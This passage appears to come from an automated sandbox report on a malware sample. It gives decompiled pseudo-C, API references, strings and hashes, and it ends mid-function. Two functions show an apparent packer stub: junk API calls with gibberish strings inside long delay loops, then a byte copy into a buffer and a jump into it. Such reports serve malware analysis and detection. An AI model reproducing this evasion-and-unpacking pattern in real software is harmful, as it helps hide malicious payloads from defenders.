						E0041DF90(E0041DB10(_t243, _t307 - 0x1020, _t305, _t307 - 0x1020, 0x1000, "_CrtDbgReport: String too long or Invalid characters in String"), _t209, L"strcpy_s(szOutMessage2, 4096, \"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22d, 0);
						_t315 = _t315 + 0x24;
					}
					if( *0x54b818 != 0 ||  *0x54b814 != 0) {
						 *(_t307 - 0x704c) = 0;
						 *(_t307 - 0x7048) = 0;
						L0041E2F0(0xf);
						_t315 = _t315 + 4;
						 *(_t307 - 4) = 1;
						_t285 =  *0x54b818;
						 *(_t307 - 0x704c) =  *0x54b818;
						while( *(_t307 - 0x704c) != 0) {
							 *(_t307 - 0x7050) = 0;
							_t285 =  *(_t307 - 0x704c);
							_t207 =  *(( *(_t307 - 0x704c))[6])( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7050);
							_t315 = _t315 + 0xc;
							if(_t207 == 0) {
								 *(_t307 - 0x704c) = ( *(_t307 - 0x704c))[2];
								continue;
							} else {
								 *(_t307 - 0x1024) =  *(_t307 - 0x7050);
								 *(_t307 - 0x302c) = 1;
							}
							break;
						}
						if( *(_t307 - 0x302c) == 0) {
							_t285 =  *0x54b814;
							 *(_t307 - 0x7048) =  *0x54b814;
							while( *(_t307 - 0x7048) != 0) {
								 *(_t307 - 0x7054) = 0;
								_t285 =  *(_t307 - 0x7048);
								_t203 =  *(( *(_t307 - 0x7048))[6])( *(_t307 + 8), _t307 - 0x3028, _t307 - 0x7054);
								_t315 = _t315 + 0xc;
								if(_t203 == 0) {
									 *(_t307 - 0x7048) = ( *(_t307 - 0x7048))[2];
									continue;
								} else {
									 *(_t307 - 0x1024) =  *(_t307 - 0x7054);
									 *(_t307 - 0x302c) = 1;
								}
								goto L43;
							}
						}
						L43:
						 *(_t307 - 4) = 0;
						E0042D22A();
					}
					if( *(_t307 - 0x302c) == 0) {
						if( *0x54b810 != 0) {
							 *(_t307 - 0x7058) = 0;
							_t285 = _t307 - 0x7058;
							_t200 =  *0x54b810( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7058);
							_t315 = _t315 + 0xc;
							if(_t200 != 0) {
								_t285 =  *(_t307 - 0x7058);
								 *(_t307 - 0x1024) =  *(_t307 - 0x7058);
								 *(_t307 - 0x302c) = 1;
							}
						}
						if( *(_t307 - 0x302c) == 0) {
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
								_t285 =  *(_t307 + 8);
								if( *(0x441070 +  *(_t307 + 8) * 4) != 0xffffffff) {
									_t181 =  *(_t307 + 8);
									_t263 =  *(0x441070 + _t181 * 4);
									 *((intOrPtr*)(_t307 - 0x8074)) = GetFileType( *(0x441070 + _t181 * 4));
									if( *((intOrPtr*)(_t307 - 0x8074)) == 2) {
										_t184 = E0042DC90(_t263, _t307 - 0x3028);
										_t315 = _t315 + 4;
										_t285 =  *(_t307 + 8);
										if(WriteConsoleW( *(0x441070 +  *(_t307 + 8) * 4), _t307 - 0x3028, _t184, _t307 - 0x705c, 0) == 0) {
											if(GetLastError() == 6) {
												goto L57;
											} else {
											}
										} else {
										}
									} else {
										L57:
										 *(_t307 - 0x8064) = 0;
										_t190 = E0041DA20(L00437950(_t307 - 0x8064, _t307 - 0x8060, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x27e, 0);
										_t315 = _t315 + 0x34;
										 *((intOrPtr*)(_t307 - 0x8068)) = _t190;
										if( *((intOrPtr*)(_t307 - 0x8068)) == 0 ||  *((intOrPtr*)(_t307 - 0x8068)) == 0x50) {
											if( *(_t307 - 0x8064) > 0) {
												 *(_t307 - 0x8064) =  *(_t307 - 0x8064) - 1;
											}
											_t267 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t267 * 4);
											WriteFile( *(0x441070 + _t267 * 4), _t307 - 0x8060,  *(_t307 - 0x8064), _t307 - 0x705c, 0);
										} else {
											_t195 = E0042DC90(_t307 - 0x705c, _t307 - 0x3028);
											_t315 = _t315 + 4;
											_t269 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t269 * 4);
											WriteFile( *(0x441070 + _t269 * 4), _t307 - 0x3028, _t195 << 1, _t307 - 0x705c, 0);
										}
									}
								}
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000002) != 0) {
								_t285 = _t307 - 0x3028;
								OutputDebugStringW(_t307 - 0x3028);
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000004) != 0) {
								 *(_t307 - 0x5030) = 0;
								if( *(_t307 + 0x10) != 0) {
									E0041DF90(E00438380( *(_t307 + 0x10),  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t179, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x29c, 0);
									_t315 = _t315 + 0x28;
								}
								asm("sbb ecx, ecx");
								_t285 = _t307 - 0x5030;
								 *(_t307 - 0x1024) = E0041E3C0(_t243, _t307 - 0x5030, _t303, _t305,  *(_t307 + 8),  *(_t307 + 0xc),  ~( *(_t307 + 0x10)) & _t307 - 0x00005030,  *((intOrPtr*)(_t307 + 0x14)), _t307 - 0x7030);
							}
						}
					}
				} else {
					_t241 = E0041DF90(E00438380(_t307 - 0x5030,  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t240, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1f0, 0);
					OutputDebugStringW(L"Second Chance Assertion Failed: File ");
					if( *(_t307 + 0xc) == 0) {
						 *(_t307 - 0x806c) = L"<file unknown>";
					} else {
						_t241 =  *(_t307 + 0xc);
						 *(_t307 - 0x806c) =  *(_t307 + 0xc);
					}
					OutputDebugStringW( *(_t307 - 0x806c));
					OutputDebugStringW(L", Line ");
					_t285 = _t307 - 0x5030;
					OutputDebugStringW(_t307 - 0x5030);
					OutputDebugStringW("\n");
					E0042C380(_t241);
					 *(_t307 - 0x1024) = 0xffffffff;
				}
				 *(_t307 - 4) = 0xfffffffe;
				E0042D4B7();
				_t170 =  *(_t307 - 0x1024);
				 *[fs:0x0] =  *((intOrPtr*)(_t307 - 0x10));
				_pop(_t304);
				_pop(_t306);
				_pop(_t244);
				return E0042BDF0(_t170, _t244,  *(_t307 - 0x1c) ^ _t307, _t285, _t304, _t306);
			}

0x0042ccbf
0x0042cd6c
0x0042cd79
0x0042cd84
0x0042cd8a
0x0042cda3
0x0042cda8
0x0042cdab
0x0042cdb8
0x0042cddc
0x0042cde1
0x0042cde1
0x0042cdef
0x0042cdf8
0x0042ce2a
0x0042ce2f
0x0042ce2f
0x0042cdf8
0x0042ce36
0x0042ce3c
0x0042ce4a
0x0042ce3e
0x0042ce3e
0x0042ce3e
0x0042ce86
0x0042ce8b
0x0042ce8b
0x0042ceb0
0x0042cec0
0x0042cec5
0x0042cecc
0x0042cedb
0x0042cefd
0x0042cf0d
0x0042cf12
0x0042cf12
0x0042cf45
0x0042cf4a
0x0042cf4a
0x0042cf51
0x0042d061
0x0042d066
0x0042cf57
0x0042cf57
0x0042cf68
0x0042cf73
0x0042cf7f
0x0042cf83
0x0042cf97
0x0042cf9e
0x0042cfa3
0x0042cfa6
0x0042cfb3
0x0042cfd7
0x0042cfdc
0x0042cfdc
0x0042cfdf
0x0042cfe4
0x0042cfea
0x0042cff3
0x0042d025
0x0042d02a
0x0042d02a
0x0042d02d
0x0042d069
0x0042d08f
0x0042d0ad
0x0042d0b2
0x0042d0b5
0x0042d0c2
0x0042d0f4
0x0042d0f9
0x0042d0f9
0x0042d103
0x0042d112
0x0042d11c
0x0042d128
0x0042d12d
0x0042d130
0x0042d137
0x0042d13d
0x0042d154
0x0042d15d
0x0042d179
0x0042d182
0x0042d184
0x0042d189
0x0042d14e
0x00000000
0x0042d18b
0x0042d191
0x0042d197
0x0042d197
0x00000000
0x0042d189
0x0042d1ac
0x0042d1ae
0x0042d1b4
0x0042d1cb
0x0042d1d4
0x0042d1f0
0x0042d1f9
0x0042d1fb
0x0042d200
0x0042d1c5
0x00000000
0x0042d202
0x0042d208
0x0042d20e
0x0042d20e
0x00000000
0x0042d200
0x0042d1cb
0x0042d21c
0x0042d21c
0x0042d223
0x0042d223
0x0042d23c
0x0042d249
0x0042d24b
0x0042d255
0x0042d267
0x0042d26d
0x0042d272
0x0042d274
0x0042d27a
0x0042d280
0x0042d280
0x0042d272
0x0042d291
0x0042d2a4
0x0042d2aa
0x0042d2b5
0x0042d2bb
0x0042d2be
0x0042d2cc
0x0042d2d9
0x0042d2ed
0x0042d2f2
0x0042d2fd
0x0042d310
0x0042d320
0x00000000
0x00000000
0x0042d322
0x00000000
0x0042d312
0x0042d2db
0x0042d327
0x0042d327
0x0042d370
0x0042d375
0x0042d378
0x0042d385
0x0042d3cc
0x0042d3d7
0x0042d3d7
0x0042d3f4
0x0042d3f7
0x0042d3ff
0x0042d390
0x0042d3a0
0x0042d3a5
0x0042d3b2
0x0042d3b5
0x0042d3bd
0x0042d3bd
0x0042d385
0x0042d2d9
0x0042d2b5
0x0042d412
0x0042d414
0x0042d41b
0x0042d41b
0x0042d42e
0x0042d432
0x0042d43d
0x0042d470
0x0042d475
0x0042d475
0x0042d488
0x0042d48a
0x0042d4a3
0x0042d4a3
0x0042d42e
0x0042d291
0x0042ccc5
0x0042ccf6
0x0042cd03
0x0042cd0d
0x0042cd1a
0x0042cd0f
0x0042cd0f
0x0042cd12
0x0042cd12
0x0042cd2b
0x0042cd36
0x0042cd3c
0x0042cd43
0x0042cd4e
0x0042cd54
0x0042cd59
0x0042cd59
0x0042d4a9
0x0042d4b0
0x0042d4c9
0x0042d4d2
0x0042d4da
0x0042d4db
0x0042d4dc
0x0042d4ea

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042CCB7
__invoke_watson_if_error.LIBCMTD ref: 0042CCF6
OutputDebugStringW.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042CD03
OutputDebugStringW.KERNEL32(00406790), ref: 0042CD2B
OutputDebugStringW.KERNEL32(, Line ), ref: 0042CD36
OutputDebugStringW.KERNEL32(?), ref: 0042CD43
OutputDebugStringW.KERNEL32(0040677C), ref: 0042CD4E
_wcscat_s.LIBCMTD ref: 0042CF04

Part of subcall function 00437980: __invalid_parameter.LIBCMTD ref: 004379F2

__invoke_watson_if_error.LIBCMTD ref: 0042CF0D

Part of subcall function 0041DF90: __invoke_watson.LIBCMTD ref: 0041DFB1

_wcscat_s.LIBCMTD ref: 0042CF3C

Part of subcall function 00437980: _memset.LIBCMT ref: 00437A5F
Part of subcall function 00437980: __invalid_parameter.LIBCMTD ref: 00437ABB

__invoke_watson_if_error.LIBCMTD ref: 0042CF45
__snwprintf_s.LIBCMTD ref: 0042CF9E

Part of subcall function 0042DAD0: __vsnwprintf_s_l.LIBCMTD ref: 0042DAF2

__invoke_watson_if_oneof.LIBCMTD ref: 0042CFD7
_wcscpy_s.LIBCMTD ref: 0042D01C
__invoke_watson_if_error.LIBCMTD ref: 0042D025
__invoke_watson_if_oneof.LIBCMTD ref: 0042D0AD
_wcscpy_s.LIBCMTD ref: 0042D0EB
__invoke_watson_if_error.LIBCMTD ref: 0042D0F4
__itow_s.LIBCMTD ref: 0042CCED

Part of subcall function 00438380: _xtow_s@20.LIBCMTD ref: 004383AB

__strftime_l.LIBCMTD ref: 0042CDA3
__invoke_watson_if_oneof.LIBCMTD ref: 0042CDDC
_wcscpy_s.LIBCMTD ref: 0042CE21
__invoke_watson_if_error.LIBCMTD ref: 0042CE2A
_wcscpy_s.LIBCMTD ref: 0042CE7D
__invoke_watson_if_error.LIBCMTD ref: 0042CE86
_wcscat_s.LIBCMTD ref: 0042CEB7
__invoke_watson_if_error.LIBCMTD ref: 0042CEC0

Strings

Second Chance Assertion Failed: File , xrefs: 0042CCFE
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042D342
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042CCCC, 0042CDC1, 0042CE01, 0042CE5B, 0042CE95, 0042CEE4, 0042CF1C, 0042CFBC, 0042CFFC, 0042D07A, 0042D0CB, 0042D338, 0042D446
%s(%d) : %s, xrefs: 0042CF88
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CE0B
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042D006
Assertion failed!, xrefs: 0042CE4A
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 0042CE65
_VCrtDbgReportW, xrefs: 0042CCD1, 0042CDC6, 0042CE06, 0042CE60, 0042CE9A, 0042CEE9, 0042CF21, 0042CFC1, 0042D001, 0042D07F, 0042D0D0, 0042D33D, 0042D44B
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042D0D5
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 0042CF26
Assertion failed: , xrefs: 0042CE3E
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042D0DA
, Line , xrefs: 0042CD31
<file unknown>, xrefs: 0042CD1A
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042CE9F
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 0042CEEE
(*_errno()), xrefs: 0042CDCB, 0042CFC6
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042D084
P, xrefs: 0042D387
_CrtDbgReport: String too long or IO Error, xrefs: 0042CE10, 0042D00B
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 0042CCD6, 0042D450

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnwprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 2252013794-3875623755
Opcode ID: bb75c327dc63cc1833e16df925b68670956d3ccda89680fe518e4efd1165374f
Instruction ID: 9fcc1f4a93d5fe52316a4d691a5cd7a3e75db24d9ae4ed78e561478d48bbf909
Opcode Fuzzy Hash: bb75c327dc63cc1833e16df925b68670956d3ccda89680fe518e4efd1165374f
Instruction Fuzzy Hash: D312A4B0E44324EAEB24EF50DC46FDA7374AB08704F5081AAF509762C1D7BCAA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00419C55, Relevance: 43.9, APIs: 17, Strings: 8, Instructions: 110
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419C55() {
				signed int _v8;
				short _v2140;
				char _v3164;
				char _v5220;
				struct _COORD _v5224;
				struct _STARTUPINFOW _v5300;
				union _ULARGE_INTEGER _v5308;
				union _ULARGE_INTEGER _v5316;
				short _v7364;
				union _ULARGE_INTEGER _v7372;
				char _v7660;
				signed int _v7664;
				void _v7696;
				signed int _v7700;

				E0041AA90(0x1e50);
				_v8 = _v8 & 0x00000000;
				while(_v8 < 0x332beaf6) {
					SetLastError(0);
					if( *0x54abf4 == 0x16) {
						GetConsoleCursorInfo(0, 0);
						GetProfileStringA("wegazevevemitohokababawijufapiyodewemu", "gugafavapisufetirenucihobeyokuxutebijubixofaxabe", "xoliwerarihazohupamuzuficumabaselacahexuxa",  &_v3164, 0);
						WriteProfileSectionW(0, 0);
						GetProfileStringW(L"jikatopoxolumuho", L"nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb", L"zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus",  &_v2140, 0);
					}
					GetLastError();
					if( *0x54abf4 == 0x9e) {
						__imp__GetSystemWow64DirectoryW( &_v5220, 0);
						GetWindowsDirectoryW( &_v7364, 0);
						__imp__GetCPInfoExA(0, 0,  &_v7660);
						GetDiskFreeSpaceExA("Yapey hetucironijas nuxo xukedosi bovuludut",  &_v5308,  &_v5316,  &_v7372);
						GetStartupInfoW( &_v5300);
						ReadConsoleOutputCharacterW(0, 0, 0, _v5224, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				L0041997B( *0x443950,  *0x54abf4, 0x440010);
				_v7664 = _v7664 & 0x00000000;
				while(_v7664 < 0x3e79e) {
					if( *0x54abf4 == 0x10) {
						GlobalUnWire( &_v7696);
					}
					if(_v7664 == 0x1e673) {
						 *0x443950 =  *0x443950 + 0x3ba7;
					}
					_v7664 = _v7664 + 1;
				}
				_v7700 = _v7700 & 0x00000000;
				while(_v7700 < 0xdd9a7) {
					if( *0x54abf4 == 0xc01) {
						GetProcessHeap();
						GetProcessHeap();
						WritePrivateProfileStringW(0, 0, 0, 0);
						SetPriorityClass(0, 0);
					}
					_v7700 = _v7700 + 1;
				}
				goto ( *0x443950);
			}

0x00419c5d
0x00419c62
0x00419c6f
0x00419c7e
0x00419c8b
0x00419c91
0x00419caf
0x00419cb9
0x00419cd7
0x00419cd7
0x00419cdd
0x00419ced
0x00419cf8
0x00419d07
0x00419d18
0x00419d38
0x00419d45
0x00419d59
0x00419d59
0x00419d66
0x00419c6c
0x00000000
0x00419d68
0x00000000
0x00419d68
0x00419d66
0x00419d80
0x00419d85
0x00419d9b
0x00419dae
0x00419db7
0x00419db7
0x00419dc7
0x00419dc9
0x00419dc9
0x00419d95
0x00419d95
0x00419dd5
0x00419deb
0x00419e01
0x00419e03
0x00419e09
0x00419e17
0x00419e21
0x00419e21
0x00419de5
0x00419de5
0x00419e29

APIs

SetLastError.KERNEL32(00000000), ref: 00419C7E
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419C91
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 00419CAF
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419CB9
GetProfileStringW.KERNEL32(jikatopoxolumuho,nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb,zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus,?,00000000), ref: 00419CD7
GetLastError.KERNEL32 ref: 00419CDD
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 00419CF8
GetWindowsDirectoryW.KERNEL32(?,00000000), ref: 00419D07
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00419D18
GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 00419D38
GetStartupInfoW.KERNEL32(?), ref: 00419D45
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419D59
GlobalUnWire.KERNEL32(?), ref: 00419DB7
GetProcessHeap.KERNEL32 ref: 00419E03
GetProcessHeap.KERNEL32 ref: 00419E09
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419E17
SetPriorityClass.KERNEL32(00000000,00000000), ref: 00419E21

Strings

gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419CA5
u7, xrefs: 00419D5F
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 00419D33
wegazevevemitohokababawijufapiyodewemu, xrefs: 00419CAA
jikatopoxolumuho, xrefs: 00419CD2
xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419CA0
nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb, xrefs: 00419CCD
zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus, xrefs: 00419CC8

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: Profile$InfoString$ConsoleDirectoryErrorHeapLastProcessWrite$CharacterClassCursorDiskFreeGlobalOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$jikatopoxolumuho$nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus$u7
API String ID: 191012449-1827300862
Opcode ID: d5957b3631dfe171380caf1fceac512935d409fabd5fe41783017eb0f4e2d5c4
Instruction ID: 06633f419e714eccca538c671497c46e57c414a108af2f67580d4441c4f39578
Opcode Fuzzy Hash: d5957b3631dfe171380caf1fceac512935d409fabd5fe41783017eb0f4e2d5c4
Instruction Fuzzy Hash: FE414B35984258EBEB209B90DE49FD977B9AB04706F5000A7F24AA54E0D7B85AC48F1E

Uniqueness

Uniqueness Score: -1.00%

Function 00419A0C, Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 110
timefilepipeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00419A0C(union _FINDEX_INFO_LEVELS _a4) {
				void* _v8;
				void* _v22;
				struct _SYSTEMTIME _v24;
				void* _v38;
				struct _SYSTEMTIME _v40;
				void* _v56;
				struct _COMMTIMEOUTS _v60;
				struct _DCB _v88;
				struct _TIME_ZONE_INFORMATION _v260;
				void _v1284;
				char _v3332;
				intOrPtr _t25;
				union _FINDEX_INFO_LEVELS _t27;
				void* _t54;

				if( *0x54abf4 == 0x37) {
					_v60.ReadIntervalTimeout = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					BuildCommDCBAndTimeoutsW(L"lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix",  &_v88,  &_v60);
					CreateMailslotA("kinekecusaz", 0, 0, 0);
					CallNamedPipeA(0, 0, 0, 0, 0, 0, 0);
					ReleaseSemaphore(0, 0, 0);
					FindAtomA(0);
					_v40.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					_v24.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					SystemTimeToTzSpecificLocalTime( &_v260,  &_v40,  &_v24);
					__imp__SetComputerNameExA(0, "Hay sexulilef", _t54);
					GetConsoleCursorInfo(0, 0);
					TlsGetValue(0);
					CopyFileA(0, 0, 0);
					__imp__GetLongPathNameW(0,  &_v3332, 0);
					__imp__SetVolumeMountPointW(0, 0);
					SetProcessPriorityBoost(0, 0);
					FreeEnvironmentStringsA(0);
					GetDriveTypeA("yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas");
					FindFirstFileExW(L"gocibuzoluxomebaxabuviyupezadapebetag", _a4,  &_v1284, _a4, 0, 0);
				}
				_v8 = 0;
				_t25 =  *0x54abf8; // 0x3f6faa
				_v8 = _v8 + _t25;
				_v8 = _v8 + 0x12336;
				_t27 = _a4;
				 *((char*)( *0x443950 + _t27)) =  *((intOrPtr*)(_v8 + _t27));
				return _t27;
			}

0x00419a1f
0x00419a28
0x00419a2e
0x00419a2f
0x00419a30
0x00419a31
0x00419a3f
0x00419a4d
0x00419a5a
0x00419a63
0x00419a6a
0x00419a72
0x00419a79
0x00419a7a
0x00419a7b
0x00419a7c
0x00419a80
0x00419a87
0x00419a88
0x00419a89
0x00419a8a
0x00419a9b
0x00419aa7
0x00419aaf
0x00419ab6
0x00419abf
0x00419ace
0x00419ad6
0x00419ade
0x00419ae5
0x00419af0
0x00419b0a
0x00419b10
0x00419b11
0x00419b14
0x00419b19
0x00419b21
0x00419b24
0x00419b33
0x00419b38

APIs

BuildCommDCBAndTimeoutsW.KERNEL32 ref: 00419A3F
CreateMailslotA.KERNEL32 ref: 00419A4D
CallNamedPipeA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00419A5A
ReleaseSemaphore.KERNEL32(00000000,00000000,00000000), ref: 00419A63
FindAtomA.KERNEL32 ref: 00419A6A
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 00419A9B
SetComputerNameExA.KERNEL32(00000000,Hay sexulilef), ref: 00419AA7
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419AAF
TlsGetValue.KERNEL32(00000000), ref: 00419AB6
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 00419ABF
GetLongPathNameW.KERNEL32(00000000,?,00000000), ref: 00419ACE
SetVolumeMountPointW.KERNEL32(00000000,00000000), ref: 00419AD6
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 00419ADE
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00419AE5
GetDriveTypeA.KERNEL32(yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas), ref: 00419AF0
FindFirstFileExW.KERNEL32(gocibuzoluxomebaxabuviyupezadapebetag,?,?,?,00000000,00000000), ref: 00419B0A

Strings

yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas, xrefs: 00419AEB
gocibuzoluxomebaxabuviyupezadapebetag, xrefs: 00419B05
Hay sexulilef, xrefs: 00419AA1
kinekecusaz, xrefs: 00419A48
lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix, xrefs: 00419A3A

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: FileFindNameTime$AtomBoostBuildCallCommComputerConsoleCopyCreateCursorDriveEnvironmentFirstFreeInfoLocalLongMailslotMountNamedPathPipePointPriorityProcessReleaseSemaphoreSpecificStringsSystemTimeoutsTypeValueVolume
String ID: Hay sexulilef$gocibuzoluxomebaxabuviyupezadapebetag$kinekecusaz$lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix$yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas
API String ID: 118337534-3095731778
Opcode ID: 09ed30b492f97a830ad82e8e25b5002e705cd0b55e82cb27f6da18c5fdb189e4
Instruction ID: 4e5f956ffb943e06d8dacf447a48579d2825821e80040915dc82a1b5e259c176
Opcode Fuzzy Hash: 09ed30b492f97a830ad82e8e25b5002e705cd0b55e82cb27f6da18c5fdb189e4
Instruction Fuzzy Hash: 3A311876402568BFD7119BE4DE08DDFBFBCEF0A351B104026F645E2030D6385A85CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0042BDF0, Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0042BDF0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

